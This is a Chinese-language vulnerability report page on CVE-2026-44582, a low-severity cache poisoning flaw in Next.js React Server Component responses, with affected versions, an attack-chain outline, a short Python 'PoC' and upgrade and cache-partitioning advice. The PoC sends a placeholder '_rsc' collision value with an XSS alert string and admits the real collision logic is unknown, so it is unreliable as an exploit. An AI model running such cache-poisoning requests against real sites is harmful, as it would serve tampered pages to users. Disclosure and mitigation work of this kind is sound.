IPBUF安全漏洞报告
English
CVE-2026-44582 CVSS 3.7 低危

CVE-2026-44582 Next.js缓存投毒漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44582
漏洞类型
Web缓存投毒
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Next.js

相关标签

Web缓存投毒Next.jsRSCCVE-2026-44582缓存污染

漏洞概述

Next.js是一个用于构建全栈Web应用程序的React框架。在13.4.6至15.5.16之前和16.2.5之前的版本中,React Server Component(RSC)响应在依赖共享缓存且响应分区不足的部署中容易受到缓存投毒攻击。在受影响的条件下,`_rsc`缓存破坏值中的冲突可能允许攻击者投毒缓存条目,导致用户接收针对给定URL的错误响应变体。该漏洞已在15.5.16和16.2.5版本中修复。

技术细节

该漏洞主要影响使用React Server Components (RSC) 的Next.js应用。漏洞的核心在于`_rsc`缓存破坏值的生成机制存在碰撞风险。当应用部署在共享缓存环境(如某些CDN配置)中且缺乏严格的响应分区时,攻击者可以利用这一逻辑缺陷。通过构造特定的HTTP请求,攻击者能够生成与正常请求相同的缓存键,但携带恶意内容。由于缓存系统无法区分请求来源,恶意响应被缓存并服务于后续访问该URL的合法用户。这属于Web缓存投毒攻击的一种,主要破坏了数据的完整性。

攻击链分析

STEP 1
信息收集
识别目标使用的Next.js版本,并确认其部署环境是否使用了共享缓存(如CDN)且配置了不充分的响应分区。
STEP 2
漏洞分析
分析目标`_rsc`参数或缓存键的生成逻辑,寻找可能导致碰撞的参数值或利用模式。
STEP 3
构造攻击载荷
攻击者构造包含恶意内容的HTTP请求,并设置特定的`_rsc`值以触发缓存键冲突。
STEP 4
执行缓存投毒
向服务器发送构造的恶意请求。如果漏洞存在,服务器会将恶意响应存储在共享缓存中,覆盖或污染原有的缓存条目。
STEP 5
受害者访问
当普通用户访问受影响的URL时,缓存服务器直接返回被投毒的恶意响应,导致用户接收到错误或篡改后的页面内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://example.com/api/rsc" # Malicious payload to be cached malicious_payload = "<script>alert('XSS')</script>" # Headers simulating the collision in _rsc cache-busting value # Note: Actual collision logic depends on specific implementation details of the vulnerable version headers = { "User-Agent": "CachePoison/1.0", "X-RSC-Param": "collision_value" } params = { "_rsc": "collision_value", # Attempting to trigger cache collision "data": malicious_payload } try: # Send request to poison the cache response = requests.get(target_url, headers=headers, params=params) if response.status_code == 200: print(f"[+] Potential cache poisoning successful. Status: {response.status_code}") print(f"[+] Response cached with key collision.") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

Next.js 13.4.6 - 15.5.15
Next.js 16.0.0 - 16.2.4

防御指南

临时缓解措施
建议立即升级Next.js框架至修复版本15.5.16或16.2.5。如果暂时无法升级,应审查前端缓存配置,确保在共享缓存环境中实施了严格的键隔离或响应分区,防止不同请求上下文之间的缓存键发生冲突。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表